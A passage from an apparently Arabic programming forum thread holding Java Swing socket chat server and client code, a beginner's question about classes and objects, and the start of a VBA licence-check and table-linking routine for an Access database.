javax.swing.JPanel(); jLabel3 = new javax.swing.JLabel(); Tmessage = new javax.swing.JTextField(); Btnenvoyer = new javax.swing.JButton(); PL3 = new javax.swing.JPanel(); listeclient = new java.awt.List(); jLabel4 = new javax.swing.JLabel(); jScrollPane1 = new javax.swing.JScrollPane(); Message = new javax.swing.JTextArea(); jLabel5 = new javax.swing.JLabel(); setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE); PL1.setBorder(javax.swing.BorderFactory.createEtchedBorder()); jLabel1.setFont(new java.awt.Font("Times New Roman", 0, 14)); // NOI18N jLabel1.setText("Porte :"); jLabel2.setFont(new java.awt.Font("Times New Roman", 0, 14)); // NOI18N jLabel2.setText("Nom :"); Tporte.setFont(new java.awt.Font("Times New Roman", 0, 14)); // NOI18N Tnom.setFont(new java.awt.Font("Times New Roman", 0, 14)); // NOI18N Btnarreter.setFont(new java.awt.Font("Times New Roman", 1, 14)); // NOI18N Btnarreter.setText("Arrèter"); Btnarreter.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { BtnarreterActionPerformed(evt); } }); Btndemarer.setFont(new java.awt.Font("Times New Roman", 1, 14)); // NOI18N Btndemarer.setText("Démarer"); Btndemarer.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { BtndemarerActionPerformed(evt); } }); javax.swing.GroupLayout PL1Layout = new javax.swing.GroupLayout(PL1); PL1.setLayout(PL1Layout); PL1Layout.setHorizontalGroup( PL1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(PL1Layout.createSequentialGroup() .addGap(19, 19, 19) .addGroup(PL1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING) .addComponent(jLabel1, javax.swing.GroupLayout.PREFERRED_SIZE, 41, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(jLabel2, javax.swing.GroupLayout.PREFERRED_SIZE, 38, javax.swing.GroupLayout.PREFERRED_SIZE)) .addGap(27, 27, 27) .addGroup(PL1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addComponent(Tporte, javax.swing.GroupLayout.PREFERRED_SIZE, 138, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(Tnom, javax.swing.GroupLayout.PREFERRED_SIZE, 138, javax.swing.GroupLayout.PREFERRED_SIZE)) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .addGroup(PL1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addComponent(Btnarreter, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.PREFERRED_SIZE, 97, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(Btndemarer, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.PREFERRED_SIZE, 97, javax.swing.GroupLayout.PREFERRED_SIZE)) .addContainerGap()) ); PL1Layout.setVerticalGroup( PL1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(PL1Layout.createSequentialGroup() .addGap(21, 21, 21) .addGroup(PL1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) .addComponent(Tnom, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(jLabel2, javax.swing.GroupLayout.PREFERRED_SIZE, 24, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(Btndemarer)) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addGroup(PL1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) .addComponent(jLabel1, javax.swing.GroupLayout.PREFERRED_SIZE, 24, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(Tporte, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(Btnarreter)) .addContainerGap(28, Short.MAX_VALUE)) ); PL2.setBorder(javax.swing.BorderFactory.createEtchedBorder()); jLabel3.setFont(new java.awt.Font("Times New Roman", 1, 14)); // NOI18N jLabel3.setText("Méssage à envoyer :"); Btnenvoyer.setFont(new java.awt.Font("Times New Roman", 1, 14)); // NOI18N Btnenvoyer.setText("Envoyer"); Btnenvoyer.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { BtnenvoyerActionPerformed(evt); } }); javax.swing.GroupLayout PL2Layout = new javax.swing.GroupLayout(PL2); PL2.setLayout(PL2Layout); PL2Layout.setHorizontalGroup( PL2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(PL2Layout.createSequentialGroup() .addContainerGap() .addGroup(PL2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(PL2Layout.createSequentialGroup() .addComponent(Tmessage) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(Btnenvoyer, javax.swing.GroupLayout.PREFERRED_SIZE, 95, javax.swing.GroupLayout.PREFERRED_SIZE)) .addGroup(PL2Layout.createSequentialGroup() .addComponent(jLabel3) .addGap(0, 0, Short.MAX_VALUE))) .addContainerGap()) ); PL2Layout.setVerticalGroup( PL2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(PL2Layout.createSequentialGroup() .addComponent(jLabel3, javax.swing.GroupLayout.PREFERRED_SIZE, 22, javax.swing.GroupLayout.PREFERRED_SIZE) .addGroup(PL2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(PL2Layout.createSequentialGroup() .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 18, Short.MAX_VALUE) .addComponent(Btnenvoyer) .addGap(87, 87, 87)) .addGroup(PL2Layout.createSequentialGroup() .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(Tmessage) .addContainerGap()))) ); PL3.setBorder(javax.swing.BorderFactory.createEtchedBorder()); jLabel4.setFont(new java.awt.Font("Times New Roman", 1, 14)); // NOI18N jLabel4.setText(" Liste de client"); Message.setColumns(20); Message.setRows(5); jScrollPane1.setViewportView(Message); jLabel5.setFont(new java.awt.Font("Times New Roman", 1, 14)); // NOI18N jLabel5.setText("Message réçu :"); javax.swing.GroupLayout PL3Layout = new javax.swing.GroupLayout(PL3); PL3.setLayout(PL3Layout); PL3Layout.setHorizontalGroup( PL3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(PL3Layout.createSequentialGroup() .addContainerGap() .addGroup(PL3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(PL3Layout.createSequentialGroup() .addGap(0, 9, Short.MAX_VALUE) .addComponent(jLabel4) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(jLabel5)) .addGroup(PL3Layout.createSequentialGroup() .addComponent(listeclient, javax.swing.GroupLayout.PREFERRED_SIZE, 119, javax.swing.GroupLayout.PREFERRED_SIZE) .addGap(0, 0, Short.MAX_VALUE))) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, 244, javax.swing.GroupLayout.PREFERRED_SIZE) .addContainerGap()) ); PL3Layout.setVerticalGroup( PL3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, PL3Layout.createSequentialGroup() .addContainerGap() .addGroup(PL3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING) .addComponent(jScrollPane1) .addGroup(PL3Layout.createSequentialGroup() .addGroup(PL3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(PL3Layout.createSequentialGroup() .addComponent(jLabel5) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) .addGroup(PL3Layout.createSequentialGroup() .addGap(0, 12, Short.MAX_VALUE) .addComponent(jLabel4, javax.swing.GroupLayout.PREFERRED_SIZE, 29, javax.swing.GroupLayout.PREFERRED_SIZE) .addGap(1, 1, 1))) .addComponent(listeclient, javax.swing.GroupLayout.PREFERRED_SIZE, 128, javax.swing.GroupLayout.PREFERRED_SIZE))) .addContainerGap()) ); javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); getContentPane().setLayout(layout); layout.setHorizontalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(layout.createSequentialGroup() .addContainerGap() .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addComponent(PL1, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .addComponent(PL2, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .addComponent(PL3, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) .addContainerGap()) ); layout.setVerticalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(layout.createSequentialGroup() .addContainerGap() .addComponent(PL1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(PL2, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(PL3, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .addContainerGap()) ); pack(); }// </editor-fold> private void BtndemarerActionPerformed(java.awt.event.ActionEvent evt) { // String j; // j=Tporte.getText(); // porte = Integer.parseInt(j) ; porte = Integer.valueOf(Tporte.getText()).intValue(); name = Tnom.getText(); try{ serverSocket = new ServerSocket(porte); socket = serverSocket.accept(); getin = new DataInputStream(socket.getInputStream()); getout = new PrintStream(socket.getOutputStream()); getout.println(name); Clientname = getin.readLine(); Message.append("You are connecting with : "+Clientname+"\n"); Message.append("\n"); listeclient.addItem(Clientname); }catch(Exception ex){ JOptionPane.showMessageDialog(this, "Error in connecting...!!! "); } Thread th = new acceptread(); th.start(); Btndemarer.setEnabled(false); Btnarreter.setEnabled(true); } private void BtnenvoyerActionPerformed(java.awt.event.ActionEvent evt) { try{ getout.println(Tmessage.getText()); Tmessage.setText(""); }catch(Exception ex){ JOptionPane.showMessageDialog(this, "Error in sending the message.....!!! "); } } private void BtnarreterActionPerformed(java.awt.event.ActionEvent evt) { try{ socket.close(); serverSocket.close(); }catch(Exception ex){ JOptionPane.showMessageDialog(this, "Error in Disconnecting.....!!! "); } Btndemarer.setEnabled(true); } class acceptread extends Thread{ public void run(){ while(true){ try{ message= getin.readLine(); if (message == null){ Message.append(Clientname+" say : good bye"+ "\n"); break; } else{ Message.append(Clientname+" say : "+message+ "\n"); } }catch(Exception ex){ System.out.println(" Error in reading the message...!!!"); } } }} /** * @param args the command line arguments */ public static void main(String args[]) { //<editor-fold defaultstate="collapsed" desc=" Look and feel setting code (optional) "> /* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel. * For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html */ try { for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) { if ("Nimbus".equals(info.getName())) { javax.swing.UIManager.setLookAndFeel(info.getClassName()); break; } } } catch (ClassNotFoundException ex) { java.util.logging.Logger.getLogger(Server.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } catch (InstantiationException ex) { java.util.logging.Logger.getLogger(Server.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } catch (IllegalAccessException ex) { java.util.logging.Logger.getLogger(Server.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } catch (javax.swing.UnsupportedLookAndFeelException ex) { java.util.logging.Logger.getLogger(Server.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } //</editor-fold> /* Create and display the form */ java.awt.EventQueue.invokeLater(new Runnable() { public void run() { new Server().setVisible(true); } }); } // Variables declaration - do not modify private javax.swing.JButton Btnarreter; private javax.swing.JButton Btndemarer; private javax.swing.JButton Btnenvoyer; public static javax.swing.JTextArea Message; private javax.swing.JPanel PL1; private javax.swing.JPanel PL2; private javax.swing.JPanel PL3; private javax.swing.JTextField Tmessage; private javax.swing.JTextField Tnom; private javax.swing.JTextField Tporte; private javax.swing.JLabel jLabel1; private javax.swing.JLabel jLabel2; private javax.swing.JLabel jLabel3; private javax.swing.JLabel jLabel4; private javax.swing.JLabel jLabel5; private javax.swing.JScrollPane jScrollPane1; private java.awt.List listeclient; // End of variables declaration }شيفرة الزبون : import java.io.DataInputStream;import java.io.IOException;import java.io.InputStreamReader;import java.io.OutputStreamWriter;import java.io.PrintStream;import java.io.PrintWriter;import java.net.Socket;import javax.swing.JOptionPane; public class Client extends javax.swing.JFrame { private static int porte; public static DataInputStream getin; private static PrintStream getout; private static String name; private static String ip; private static String servername; public static Socket socket ; public Client() { setBounds(200,100,425,468); setResizable(false); //on intérde la redimentionnement de fenètre initComponents(); Btndeconnecter.setEnabled(false); } @SuppressWarnings("unchecked") // <editor-fold defaultstate="collapsed" desc="Generated Code"> private void initComponents() { PL1 = new javax.swing.JPanel(); jLabel1 = new javax.swing.JLabel(); jLabel2 = new javax.swing.JLabel(); jLabel3 = new javax.swing.JLabel(); Tnom = new javax.swing.JTextField(); Tip = new javax.swing.JTextField(); Tporte = new javax.swing.JTextField(); Btnconnecter = new javax.swing.JButton(); Btndeconnecter = new javax.swing.JButton(); PL2 = new javax.swing.JPanel(); jLabel4 = new javax.swing.JLabel(); Tmessage = new javax.swing.JTextField(); Btnenvoyer = new javax.swing.JButton(); PL3 = new javax.swing.JPanel(); jLabel5 = new javax.swing.JLabel(); jScrollPane1 = new javax.swing.JScrollPane(); Messagerecu = new javax.swing.JTextArea(); setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE); setTitle("Client"); PL1.setBorder(javax.swing.BorderFactory.createEtchedBorder()); jLabel1.setFont(new java.awt.Font("Times New Roman", 0, 14)); // NOI18N jLabel1.setText("IP :"); jLabel2.setFont(new java.awt.Font("Times New Roman", 0, 14)); // NOI18N jLabel2.setText("Porte :"); jLabel3.setFont(new java.awt.Font("Times New Roman", 0, 14)); // NOI18N jLabel3.setText("Nom :"); Tnom.setFont(new java.awt.Font("Times New Roman", 0, 14)); // NOI18N Tip.setFont(new java.awt.Font("Times New Roman", 0, 14)); // NOI18N Tporte.setFont(new java.awt.Font("Times New Roman", 0, 14)); // NOI18N Btnconnecter.setFont(new java.awt.Font("Times New Roman", 1, 14)); // NOI18N Btnconnecter.setText("Connect"); Btnconnecter.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { BtnconnecterActionPerformed(evt); } }); Btndeconnecter.setFont(new java.awt.Font("Times New Roman", 1, 14)); // NOI18N Btndeconnecter.setText(" Disconnect "); Btndeconnecter.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { BtndeconnecterActionPerformed(evt); } }); javax.swing.GroupLayout PL1Layout = new javax.swing.GroupLayout(PL1); PL1.setLayout(PL1Layout); PL1Layout.setHorizontalGroup( PL1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(PL1Layout.createSequentialGroup() .addContainerGap() .addGroup(PL1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(PL1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING, false) .addComponent(jLabel1, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .addComponent(jLabel3, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) .addComponent(jLabel2)) .addGap(19, 19, 19) .addGroup(PL1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING, false) .addComponent(Tip, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, 140, Short.MAX_VALUE) .addComponent(Tnom, javax.swing.GroupLayout.Alignment.LEADING) .addComponent(Tporte)) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .addGroup(PL1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false) .addComponent(Btnconnecter, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .addComponent(Btndeconnecter, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) .addContainerGap()) ); PL1Layout.setVerticalGroup( PL1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, PL1Layout.createSequentialGroup() .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .addGroup(PL1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) .addComponent(jLabel3, javax.swing.GroupLayout.PREFERRED_SIZE, 23, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(Tnom)) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addGroup(PL1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) .addComponent(jLabel1, javax.swing.GroupLayout.PREFERRED_SIZE, 23, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(Tip)) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addGroup(PL1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) .addComponent(jLabel2, javax.swing.GroupLayout.PREFERRED_SIZE, 23, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(Tporte)) .addGap(33, 33, 33)) .addGroup(PL1Layout.createSequentialGroup() .addGap(30, 30, 30) .addComponent(Btnconnecter) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) .addComponent(Btndeconnecter) .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) ); PL2.setBorder(javax.swing.BorderFactory.createEtchedBorder()); jLabel4.setFont(new java.awt.Font("Times New Roman", 1, 14)); // NOI18N jLabel4.setText("Méssage à envoyer :"); Tmessage.setFont(new java.awt.Font("Times New Roman", 0, 14)); // NOI18N Btnenvoyer.setFont(new java.awt.Font("Times New Roman", 1, 14)); // NOI18N Btnenvoyer.setText("Envoyer"); Btnenvoyer.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { BtnenvoyerActionPerformed(evt); } }); javax.swing.GroupLayout PL2Layout = new javax.swing.GroupLayout(PL2); PL2.setLayout(PL2Layout); PL2Layout.setHorizontalGroup( PL2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(PL2Layout.createSequentialGroup() .addGap(20, 20, 20) .addComponent(Tmessage) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(Btnenvoyer, javax.swing.GroupLayout.PREFERRED_SIZE, 90, javax.swing.GroupLayout.PREFERRED_SIZE) .addContainerGap()) .addGroup(PL2Layout.createSequentialGroup() .addComponent(jLabel4, javax.swing.GroupLayout.PREFERRED_SIZE, 139, javax.swing.GroupLayout.PREFERRED_SIZE) .addGap(0, 0, Short.MAX_VALUE)) ); PL2Layout.setVerticalGroup( PL2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, PL2Layout.createSequentialGroup() .addComponent(jLabel4, javax.swing.GroupLayout.PREFERRED_SIZE, 27, javax.swing.GroupLayout.PREFERRED_SIZE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 23, Short.MAX_VALUE) .addGroup(PL2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addComponent(Tmessage, javax.swing.GroupLayout.PREFERRED_SIZE, 124, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(Btnenvoyer)) .addContainerGap()) ); PL3.setBorder(javax.swing.BorderFactory.createEtchedBorder()); PL3.setForeground(new java.awt.Color(5, 0, 5)); jLabel5.setFont(new java.awt.Font("Times New Roman", 1, 14)); // NOI18N jLabel5.setText("Méssage reçu :"); Messagerecu.setColumns(20); Messagerecu.setFont(new java.awt.Font("Times New Roman", 0, 14)); // NOI18N Messagerecu.setRows(5); jScrollPane1.setViewportView(Messagerecu); javax.swing.GroupLayout PL3Layout = new javax.swing.GroupLayout(PL3); PL3.setLayout(PL3Layout); PL3Layout.setHorizontalGroup( PL3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(PL3Layout.createSequentialGroup() .addContainerGap() .addComponent(jLabel5, javax.swing.GroupLayout.PREFERRED_SIZE, 111, javax.swing.GroupLayout.PREFERRED_SIZE) .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, PL3Layout.createSequentialGroup() .addContainerGap(103, Short.MAX_VALUE) .addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, 353, javax.swing.GroupLayout.PREFERRED_SIZE) .addContainerGap()) ); PL3Layout.setVerticalGroup( PL3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(PL3Layout.createSequentialGroup() .addComponent(jLabel5, javax.swing.GroupLayout.PREFERRED_SIZE, 18, javax.swing.GroupLayout.PREFERRED_SIZE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 138, Short.MAX_VALUE) .addContainerGap()) ); javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); getContentPane().setLayout(layout); layout.setHorizontalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(layout.createSequentialGroup() .addContainerGap() .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addComponent(PL1, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .addComponent(PL2, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .addComponent(PL3, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) .addContainerGap()) ); layout.setVerticalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(layout.createSequentialGroup() .addContainerGap() .addComponent(PL1, javax.swing.GroupLayout.PREFERRED_SIZE, 111, javax.swing.GroupLayout.PREFERRED_SIZE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(PL2, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(PL3, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addContainerGap()) ); pack(); }// </editor-fold> private void BtnconnecterActionPerformed(java.awt.event.ActionEvent evt) { name = Tnom.getText(); ip = Tip.getText(); porte = Integer.valueOf(Tporte.getText()).intValue(); try{ socket = new Socket(ip, porte); getin = new DataInputStream(socket.getInputStream()); getout = new PrintStream(socket.getOutputStream()); getout.println(name); servername = getin.readLine(); Messagerecu.append("You are connecting with : "+servername+"\n"); Messagerecu.append("\n"); }catch(Exception ex){ JOptionPane.showMessageDialog(this, "Error in connecting....!!! "); } Thread th = new acceptread(); th.start(); Btnconnecter.setEnabled(false); Btndeconnecter.setEnabled(true); } private void BtndeconnecterActionPerformed(java.awt.event.ActionEvent evt) { try{ socket.close(); }catch(Exception ex){ JOptionPane.showMessageDialog(this, "Error in Diconnecting....!!! "); } Btnconnecter.setEnabled(true); } private void BtnenvoyerActionPerformed(java.awt.event.ActionEvent evt) { try{ getout.println(Tmessage.getText()); Tmessage.setText(""); }catch(Exception ex){ JOptionPane.showMessageDialog(this, "Error in sending the message....!!! "); } } class acceptread extends Thread{ public void run(){ while(true){ try{ message= getin.readLine(); if (message == null){ Messagerecu.append(servername+" say : Good bye"+ "\n"); break; } else{ Messagerecu.append(servername+" say : "+message+ "\n"); } }catch(Exception ex){ System.out.println(" Error in reading the message..!!"); } } }} /** * @param args the command line arguments */ public static void main(String args[]) { /* Set the Nimbus look and feel */ //<editor-fold defaultstate="collapsed" desc=" Look and feel setting code (optional) "> /* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel. * For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html */ try { for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) { if ("Nimbus".equals(info.getName())) { javax.swing.UIManager.setLookAndFeel(info.getClassName()); break; } } } catch (ClassNotFoundException ex) { java.util.logging.Logger.getLogger(Client.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } catch (InstantiationException ex) { java.util.logging.Logger.getLogger(Client.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } catch (IllegalAccessException ex) { java.util.logging.Logger.getLogger(Client.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } catch (javax.swing.UnsupportedLookAndFeelException ex) { java.util.logging.Logger.getLogger(Client.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } //</editor-fold> /* Create and display the form */ java.awt.EventQueue.invokeLater(new Runnable() { public void run() { new Client().setVisible(true); } }); } private static String message; // Variables declaration - do not modify private javax.swing.JButton Btnconnecter; private javax.swing.JButton Btndeconnecter; private javax.swing.JButton Btnenvoyer; public static javax.swing.JTextArea Messagerecu; private javax.swing.JPanel PL1; private javax.swing.JPanel PL2; private javax.swing.JPanel PL3; private javax.swing.JTextField Tip; private javax.swing.JTextField Tmessage; private javax.swing.JTextField Tnom; private javax.swing.JTextField Tporte; private javax.swing.JLabel jLabel1; private javax.swing.JLabel jLabel2; private javax.swing.JLabel jLabel3; private javax.swing.JLabel jLabel4; private javax.swing.JLabel jLabel5; private javax.swing.JScrollPane jScrollPane1; // End of variables declaration } وشكرا جزيلا لكم جميعا  بارك الله فيكم  Tpreseau.rar
  13. السلام عليكم   اخواني عندي سؤال   ماهو الكلاس و ماهو الكائن ؟     ارجوكم ساعدوني لم افهم شيئا في هذه المصطلحات       و جزاكم الله كل خير
  14. Public Function StartSys() On Error GoTo Change_Err Dim FS, d, MasterSerial, ISCounter, IsDated, ToDate, WinDir, f Dim prp As Variant          Set FS = CreateObject("Scripting.FileSystemObject")     Set WinDir = FS.GetSpecialFolder(0)   If Dir(WinDir & "\winsys.pwl") = "" Then    MsgBox "ÎØà Ýì ÊÚÑíÝ ÇáÈÑäÇãÌ ÈÇáÌåÇÒ", vbCritical, "Invalid Date"    DoCmd.Quit acQuitSaveAll End If '------------------------------------------------------------------- 'Security Configration IsDated = False ToDate = #2/15/2006# '------------------------- ISCounter = False '-------------------------------------------------------------- 'Date Security     If IsDated = True Then         If Date > ToDate Then            MsgBox "ÎØà Ýì ÊÚÑíÝ ÇáÈÑäÇãÌ ÈÇáÌåÇÒ", vbCritical, "Invalid Date"            DoCmd.Quit acQuitSaveAll            Exit Function         End If     End If     'If Admin Log On 'If Dir("C:\GoldenSys.mdw") <> "" Then '   CurrentDb.Properties("AllowBypassKey") = True 'End If 'If User Log On 'If Dir("C:\GoldenSys.mdw") = "" Then '    CurrentDb.Properties("AllowBypassKey") = False '    ChangeProperty = True 'End If 'DoCmd.OpenForm "User_Log" 'Ok Set f = FS.OpenTextFile(Application.CurrentProject.Path & "\Config.txt", 1) X = f.readline CurrConfig = Mid(X, (3 * Mid(X, 2, 1)) + 2, 1) & ":\Golden\Data\Data" & Mid(X, 2, 1) & ".mdb" CurrPath = Right(CurrentDb.TableDefs("Sales").Connect, Len(CurrentDb.TableDefs("Users").Connect) - 10) Forms![user_log]![AboutCopy] = X f.Close Forms![user_log]![branch] = Mid([Forms]![user_log]![AboutCopy], 2, 1)   If CurrConfig <> CurrPath Then     DefBranchPath = Mid(Forms![user_log]![AboutCopy], 5, 1) & ":\Golden\Data\Data1.mdb"     'Defination     LinkTab "CahierTrans", DefBranchPath, "CahierTrans"     LinkTab "Const", DefBranchPath, "Const"     LinkTab "Damage", DefBranchPath, "Damage"     LinkTab "DefVal", DefBranchPath, "DefVal"     LinkTab "Emp", DefBranchPath, "Emp"     LinkTab "EmpBranch", DefBranchPath, "EmpBranch"     LinkTab "L_Cahier", DefBranchPath, "L_Cahier"     LinkTab "L_CahierBranch", DefBranchPath, "L_CahierBranch"     LinkTab "L_Color", 